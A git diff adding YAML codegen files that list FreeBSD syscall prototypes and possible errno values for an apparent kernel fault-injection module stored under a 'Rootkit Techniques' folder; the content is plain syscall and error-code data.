Faulter/src/module/codegen/freebsd/posix_fallocate.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/posix_fallocate.yml new file mode 100644 index 0000000..0b721f3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/posix_fallocate.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct posix_fallocate_args *uap +parms: td, uap +errors: + - EBADF + - EFBIG + - EINTR + - EINVAL + - EIO + - ENODEV + - ENOSPC + - ENOTCAPABLE + - ESPIPE diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/posix_openpt.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/posix_openpt.yml new file mode 100644 index 0000000..32cfd1c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/posix_openpt.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct posix_openpt_args *uap +parms: td, uap +errors: + - ENFILE + - EINVAL + - EAGAIN diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ppoll.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ppoll.yml new file mode 100644 index 0000000..34c36b3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ppoll.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct ppoll_args *uap +parms: td, uap +errors: + - EFAULT + - EINTR + - EINVAL +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pread.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pread.yml new file mode 100644 index 0000000..5333900 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pread.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct pread_args *uap +parms: td, uap +errors: + - ECONNRESET + - EFAULT + - EIO + - EBUSY + - EINTR + - EINVAL + - EAGAIN + - EISDIR + - EOPNOTSUPP + - EOVERFLOW + - ESPIPE +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/preadv.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/preadv.yml new file mode 100644 index 0000000..009894e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/preadv.yml @@ -0,0 +1,17 @@ +proto: struct thread *td, struct preadv_args *uap +parms: td, uap +errors: + - ECONNRESET + - EFAULT + - EIO + - EBUSY + - EINTR + - EINVAL + - EAGAIN + - EISDIR + - EOPNOTSUPP + - EOVERFLOW + - EFAULT + - ESPIPE +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/procctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/procctl.yml new file mode 100644 index 0000000..046934c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/procctl.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct procctl_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EPERM + - ESRCH + - EINVAL + - EBUSY +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/profil.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/profil.yml new file mode 100644 index 0000000..76feb20 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/profil.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct profil_args *uap +parms: td, uap +errors: + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pselect.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pselect.yml new file mode 100644 index 0000000..3198dac --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pselect.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct pselect_args *uap +parms: td, uap +errors: +errors: + - EBADF + - EFAULT + - EINTR + - EINVAL +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ptrace.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ptrace.yml new file mode 100644 index 0000000..41cf296 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/ptrace.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct ptrace_args *uap +parms: td, uap +errors: + - ESRCH + - EINVAL + - EBUSY + - EPERM + - ENOENT + - ENAMETOOLONG +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pwrite.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pwrite.yml new file mode 100644 index 0000000..7e716c2 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pwrite.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct pwrite_args *uap +parms: td, uap +errors: + - EBADF + - EPIPE + - EFBIG + - EFAULT + - EINVAL + - ENOSPC + - EDQUOT + - EIO + - EINTR + - EAGAIN + - EROFS +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pwritev.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pwritev.yml new file mode 100644 index 0000000..d6afb38 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/pwritev.yml @@ -0,0 +1,19 @@ +proto: struct thread *td, struct pwritev_args *uap +parms: td, uap +errors: + - EBADF + - EPIPE + - EFBIG + - EFAULT + - EINVAL + - ENOSPC + - EDQUOT + - EIO + - EINTR + - EAGAIN + - EROFS + - EDESTADDRREQ + - ENOBUFS + - ESPIPE +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/quotactl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/quotactl.yml new file mode 100644 index 0000000..0c43947 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/quotactl.yml @@ -0,0 +1,17 @@ +proto: struct thread *td, struct quotactl_args *uap +parms: td, uap +errors: + - EOPNOTSUPP + - EUSERS + - EINVAL + - EACCES + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - ELOOP + - EROFS + - EIO + - EFAULT + - EPERM +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_add_rule.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_add_rule.yml new file mode 100644 index 0000000..4d338c0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_add_rule.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct rctl_add_rule_args *uap +parms: td, uap +errors: + - ENOSYS + - EINVAL + - EPERM + - E2BIG + - ESRCH + - ENAMETOOLONG + - ERANGE + - EOPNOTSUPP diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_get_limits.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_get_limits.yml new file mode 100644 index 0000000..665a1fb --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_get_limits.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct rctl_get_limits_args *uap +parms: td, uap +errors: + - ENOSYS + - EINVAL + - EPERM + - E2BIG + - ESRCH + - ENAMETOOLONG + - ERANGE + - EOPNOTSUPP diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_get_racct.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_get_racct.yml new file mode 100644 index 0000000..24c2a22 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_get_racct.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct rctl_get_racct_args *uap +parms: td, uap +errors: + - ENOSYS + - EINVAL + - EPERM + - E2BIG + - ESRCH + - ENAMETOOLONG + - ERANGE + - EOPNOTSUPP diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_get_rules.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_get_rules.yml new file mode 100644 index 0000000..e0a978a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_get_rules.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct rctl_get_rules_args *uap +parms: td, uap +errors: + - ENOSYS + - EINVAL + - EPERM + - E2BIG + - ESRCH + - ENAMETOOLONG + - ERANGE + - EOPNOTSUPP diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_remove_rule.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_remove_rule.yml new file mode 100644 index 0000000..384726a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rctl_remove_rule.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct rctl_remove_rule_args *uap +parms: td, uap +errors: + - ENOSYS + - EINVAL + - EPERM + - E2BIG + - ESRCH + - ENAMETOOLONG + - ERANGE + - EOPNOTSUPP diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/read.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/read.yml new file mode 100644 index 0000000..f81d471 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/read.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct read_args *uap +parms: td, uap +errors: + - ECONNRESET + - EFAULT + - EIO + - EBUSY + - EINTR + - EINVAL + - EAGAIN + - EISDIR + - EOPNOTSUPP + - EOVERFLOW +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/readlink.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/readlink.yml new file mode 100644 index 0000000..eea35e1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/readlink.yml @@ -0,0 +1,13 @@ +proto: struct thread *td, struct readlink_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EINVAL + - EIO + - EFAULT +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/readlinkat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/readlinkat.yml new file mode 100644 index 0000000..7ed848d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/readlinkat.yml @@ -0,0 +1,14 @@ +proto: struct thread *td, struct readlinkat_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EINVAL + - EIO + - EFAULT + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/readv.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/readv.yml new file mode 100644 index 0000000..200eda3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/readv.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct readv_args *uap +parms: td, uap +errors: + - ECONNRESET + - EFAULT + - EIO + - EBUSY + - EINTR + - EINVAL + - EAGAIN + - EISDIR + - EOPNOTSUPP + - EOVERFLOW + - EFAULT +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/reboot.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/reboot.yml new file mode 100644 index 0000000..7d97755 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/reboot.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct reboot_args *uap +parms: td, uap +errors: + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/recvfrom.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/recvfrom.yml new file mode 100644 index 0000000..6c3bdbd --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/recvfrom.yml @@ -0,0 +1,13 @@ +proto: struct thread *td, struct recvfrom_args *uap +parms: td, uap +errors: + - EBADF + - ECONNRESET + - ENOTCONN + - ENOTSOCK + - EMSGSIZE + - EAGAIN + - EINTR + - EFAULT +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/recvmsg.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/recvmsg.yml new file mode 100644 index 0000000..5172821 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/recvmsg.yml @@ -0,0 +1,13 @@ +proto: struct thread *td, struct recvmsg_args *uap +parms: td, uap +errors: + - EBADF + - ECONNRESET + - ENOTCONN + - ENOTSOCK + - EMSGSIZE + - EAGAIN + - EINTR + - EFAULT +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rename.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rename.yml new file mode 100644 index 0000000..261c401 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rename.yml @@ -0,0 +1,20 @@ +proto: struct thread *td, struct rename_args *uap +parms: td, uap +errors: + - ENAMETOOLONG + - ENOENT + - EACCES + - EPERM + - ELOOP + - ENOTDIR + - EISDIR + - EXDEV + - ENOSPC + - EDQUOT + - EIO + - EFAULT + - EINVAL + - ENOTEMPTY + - ECAPMODE +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/renameat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/renameat.yml new file mode 100644 index 0000000..6231e47 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/renameat.yml @@ -0,0 +1,24 @@ +proto: struct thread *td, struct renameat_args *uap +parms: td, uap +errors: + - ENAMETOOLONG + - ENOENT + - EACCES + - EPERM + - ELOOP + - ENOTDIR + - EISDIR + - EXDEV + - ENOSPC + - EDQUOT + - EIO + - EFAULT + - EINVAL + - ENOTEMPTY + - ECAPMODE + - EBADF + - ENOTDIR + - ECAPMODE + - ENOTCAPABLE +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/revoke.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/revoke.yml new file mode 100644 index 0000000..642dde1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/revoke.yml @@ -0,0 +1,13 @@ +proto: struct thread *td, struct revoke_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EFAULT + - EINVAL + - EPERM +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rfork.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rfork.yml new file mode 100644 index 0000000..8068a65 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rfork.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct rfork_args *uap +parms: td, uap +errors: + - EAGAIN + - EINVAL + - ENOMEM +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rmdir.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rmdir.yml new file mode 100644 index 0000000..8e0aa83 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rmdir.yml @@ -0,0 +1,18 @@ +proto: struct thread *td, struct rmdir_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - ELOOP + - ENOTEMPTY + - EACCES + - EACCES + - EPERM + - EINVAL + - EBUSY + - EIO + - EROFS + - EFAULT +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rtprio.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rtprio.yml new file mode 100644 index 0000000..1d5b315 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rtprio.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct rtprio_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EPERM + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rtprio_thread.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rtprio_thread.yml new file mode 100644 index 0000000..b5d6938 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/rtprio_thread.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct rtprio_thread_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EPERM + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sbrk.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sbrk.yml new file mode 100644 index 0000000..dcb07c6 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sbrk.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct sbrk_args *uap +parms: td, uap +errors: + - EINVAL + - ENOMEM +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_get_priority_max.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_get_priority_max.yml new file mode 100644 index 0000000..276b90e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_get_priority_max.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct sched_get_priority_max_args *uap +parms: td, uap +errors: + - EINVAL + - ENOSYS + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_get_priority_min.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_get_priority_min.yml new file mode 100644 index 0000000..3be0b34 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_get_priority_min.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct sched_get_priority_min_args *uap +parms: td, uap +errors: + - EINVAL + - ENOSYS + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_getparam.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_getparam.yml new file mode 100644 index 0000000..b5e5358 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_getparam.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct sched_getparam_args *uap +parms: td, uap +errors: + - ENOSYS + - EPERM + - ESRCH + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_getscheduler.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_getscheduler.yml new file mode 100644 index 0000000..893bc35 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_getscheduler.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct sched_getscheduler_args *uap +parms: td, uap +errors: + - ENOSYS + - EPERM + - ESRCH + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_rr_get_interval.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_rr_get_interval.yml new file mode 100644 index 0000000..f8bdd5f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_rr_get_interval.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct sched_rr_get_interval_args *uap +parms: td, uap +errors: + - EINVAL + - ENOSYS + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_setparam.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_setparam.yml new file mode 100644 index 0000000..6ff36d8 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_setparam.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct sched_setparam_args *uap +parms: td, uap +errors: + - ENOSYS + - EPERM + - ESRCH + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_setscheduler.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_setscheduler.yml new file mode 100644 index 0000000..c779294 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_setscheduler.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct sched_setscheduler_args *uap +parms: td, uap +errors: + - ENOSYS + - EPERM + - ESRCH + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_yield.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_yield.yml new file mode 100644 index 0000000..76215f7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sched_yield.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct sched_yield_args *uap +parms: td, uap +errors: + - ENOSYS +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/select.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/select.yml new file mode 100644 index 0000000..4737700 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/select.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct select_args *uap +parms: td, uap +errors: + - EBADF + - EFAULT + - EINTR + - EINVAL +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/semget.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/semget.yml new file mode 100644 index 0000000..51f8848 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/semget.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct semget_args *uap +parms: td, uap +errors: + - EACCES + - EEXIST + - EINVAL + - ENOSPC + - ENOENT +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/semop.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/semop.yml new file mode 100644 index 0000000..c46c434 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/semop.yml @@ -0,0 +1,14 @@ +proto: struct thread *td, struct semop_args *uap +parms: td, uap +errors: + - EINVAL + - EACCES + - EAGAIN + - E2BIG + - EFBIG + - EIDRM + - EINTR + - ENOSPC + - ERANGE +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sendfile.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sendfile.yml new file mode 100644 index 0000000..dbe0477 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sendfile.yml @@ -0,0 +1,19 @@ +proto: struct thread *td, struct sendfile_args *uap +parms: td, uap +errors: + - EAGAIN + - EBADF + - EBUSY + - EFAULT + - EINTR + - EINVAL + - EINVAL + - EIO + - ENOTCAPABLE + - ENOBUFS + - ENOTCONN + - ENOTSOCK + - EOPNOTSUPP + - EPIPE +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sendmsg.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sendmsg.yml new file mode 100644 index 0000000..68df504 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sendmsg.yml @@ -0,0 +1,19 @@ +proto: struct thread *td, struct sendmsg_args *uap +parms: td, uap +errors: + - EBADF + - EACCES + - ENOTSOCK + - EFAULT + - EMSGSIZE + - EAGAIN + - ENOBUFS + - EHOSTUNREACH + - EISCONN + - ECONNREFUSED + - EHOSTDOWN + - ENETDOWN + - EADDRNOTAVAIL + - EPIPE +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sendto.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sendto.yml new file mode 100644 index 0000000..323428d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sendto.yml @@ -0,0 +1,19 @@ +proto: struct thread *td, struct sendto_args *uap +parms: td, uap +errors: + - EBADF + - EACCES + - ENOTSOCK + - EFAULT + - EMSGSIZE + - EAGAIN + - ENOBUFS + - EHOSTUNREACH + - EISCONN + - ECONNREFUSED + - EHOSTDOWN + - ENETDOWN + - EADDRNOTAVAIL + - EPIPE +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setegid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setegid.yml new file mode 100644 index 0000000..e1b58a7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setegid.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct setegid_args *uap +parms: td, uap +errors: + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/seteuid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/seteuid.yml new file mode 100644 index 0000000..381315b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/seteuid.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct seteuid_args *uap +parms: td, uap +errors: + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setfib.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setfib.yml new file mode 100644 index 0000000..1cc7424 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setfib.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct setfib_args *uap +parms: td, uap +errors: + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setgid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setgid.yml new file mode 100644 index 0000000..d88490c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setgid.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct setgid_args *uap +parms: td, uap +errors: + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setgroups.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setgroups.yml new file mode 100644 index 0000000..9d69a2d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setgroups.yml @@ -0,0 +1,6 